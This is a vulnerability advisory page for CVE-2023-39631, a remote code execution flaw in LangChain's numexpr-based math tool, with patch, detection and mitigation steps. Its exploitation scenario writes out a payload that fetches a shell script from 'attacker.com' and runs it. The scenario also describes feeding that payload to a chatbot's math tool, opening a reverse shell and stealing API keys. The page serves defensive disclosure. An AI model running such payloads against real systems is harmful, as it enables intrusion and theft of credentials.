CVE-2023-39631: LangChain: RCE via numexpr evaluate injection
GHSA-f73w-4m7g-ch9x CRITICAL PoC AVAILABLE CISA: ATTENDAny LangChain deployment below v0.0.308 using math-capable tools is exposed to unauthenticated remote code execution — no credentials, no user interaction required. Patch immediately: upgrade langchain to ≥0.0.308 and numexpr to ≥2.8.5. If patching is not immediate, disable all LangChain tools that invoke numexpr evaluation (e.g., LLMMathChain) and block internet exposure of affected endpoints.
What is the risk?
Critical. CVSS 9.8 with network-accessible attack vector, low complexity, and zero privilege requirements makes this trivially exploitable by any unauthenticated attacker. LangChain is among the most widely deployed AI frameworks in production, meaning blast radius is exceptionally high. The EPSS of 3.3% understates real-world risk given public PoC availability at time of disclosure. Organizations running LangChain-powered chatbots, agents, or APIs with math tools exposed are effectively offering unauthenticated shell access.
What systems are affected?
How severe is it?
What is the attack surface?
What should I do?
5 steps-
PATCH
Upgrade langchain to ≥0.0.308 and numexpr to ≥2.8.5 across all environments including containerized and serverless deployments with pinned dependencies.
-
INVENTORY
Enumerate all instances of LangChain ≤0.0.307, prioritizing internet-facing deployments.
-
WORKAROUND (if patching delayed): Remove or disable LLMMathChain and any custom tool invoking numexpr.evaluate() on user input; enforce input validation rejecting non-numeric expressions.
-
DETECT
Monitor for anomalous process spawning from LangChain processes, outbound connections from application servers, and unusual patterns in tool invocation logs.
-
VERIFY
Post-patch, confirm resolved version with
pip show langchain numexprand validate no transitive reinstallation of vulnerable versions via dependency resolution.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2023-39631?
Any LangChain deployment below v0.0.308 using math-capable tools is exposed to unauthenticated remote code execution — no credentials, no user interaction required. Patch immediately: upgrade langchain to ≥0.0.308 and numexpr to ≥2.8.5. If patching is not immediate, disable all LangChain tools that invoke numexpr evaluation (e.g., LLMMathChain) and block internet exposure of affected endpoints.
Is CVE-2023-39631 actively exploited?
Proof-of-concept exploit code is publicly available for CVE-2023-39631, increasing the risk of exploitation.
How to fix CVE-2023-39631?
1. PATCH: Upgrade langchain to ≥0.0.308 and numexpr to ≥2.8.5 across all environments including containerized and serverless deployments with pinned dependencies. 2. INVENTORY: Enumerate all instances of LangChain ≤0.0.307, prioritizing internet-facing deployments. 3. WORKAROUND (if patching delayed): Remove or disable LLMMathChain and any custom tool invoking numexpr.evaluate() on user input; enforce input validation rejecting non-numeric expressions. 4. DETECT: Monitor for anomalous process spawning from LangChain processes, outbound connections from application servers, and unusual patterns in tool invocation logs. 5. VERIFY: Post-patch, confirm resolved version with `pip show langchain numexpr` and validate no transitive reinstallation of vulnerable versions via dependency resolution.
What systems are affected by CVE-2023-39631?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, LLM application pipelines, math and calculation tool chains, RAG pipelines with calculation tools, model serving with LangChain middleware.
What is the CVSS score for CVE-2023-39631?
CVE-2023-39631 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.32%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
An issue in LanChain-ai Langchain v.0.0.245 allows a remote attacker to execute arbitrary code via the evaluate function in the numexpr library.
Exploitation Scenario
An adversary targets a publicly accessible LangChain-powered API or chatbot that offers calculation capabilities via LLMMathChain. The attacker submits a crafted mathematical expression as input — e.g., `__import__('os').system('curl attacker.com/shell.sh|bash')` — which LangChain forwards unsanitized to numexpr.evaluate(). numexpr interprets this as a valid Python expression and executes it with the application server's privileges. The attacker establishes a reverse shell (AML.T0072), exfiltrates stored API keys, model configs, and RAG database credentials, then pivots laterally to internal model registries or vector databases. No authentication is required at any stage.
Weaknesses (CWE)
CWE-94 Improper Control of Generation of Code ('Code Injection')
Primary
CWE-94 Improper Control of Generation of Code ('Code Injection')
Primary
CWE-94 — Improper Control of Generation of Code ('Code Injection'): The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
- [Architecture and Design] Refactor your program so that you do not have to dynamically generate code.
- [Architecture and Design] Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
- github.com/langchain-ai/langchain/issues/8363 Exploit Issue Patch 3rd Party
- github.com/pydata/numexpr/issues/442 Exploit Issue Patch 3rd Party
- github.com/advisories/GHSA-f73w-4m7g-ch9x
- github.com/langchain-ai/langchain/pull/11302
- github.com/langchain-ai/langchain/releases/tag/v0.0.308
- github.com/pydata/numexpr/commit/4b2d89cf14e75030d27629925b9998e1e91d23c7
- github.com/pypa/advisory-database/tree/main/vulns/langchain/PYSEC-2023-162.yaml
- github.com/pypa/advisory-database/tree/main/vulns/numexpr/PYSEC-2023-163.yaml
- nvd.nist.gov/vuln/detail/CVE-2023-39631
Timeline
Related Vulnerabilities
CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same package: langchain CVE-2023-34541 9.8 LangChain: RCE via unsafe load_prompt deserialization
Same package: langchain CVE-2023-29374 9.8 LangChain: RCE via prompt injection in LLMMathChain
Same package: langchain CVE-2023-34540 9.8 LangChain: RCE via JiraAPIWrapper crafted input
Same package: langchain CVE-2023-36258 9.8 LangChain: unauthenticated RCE via code injection
Same package: langchain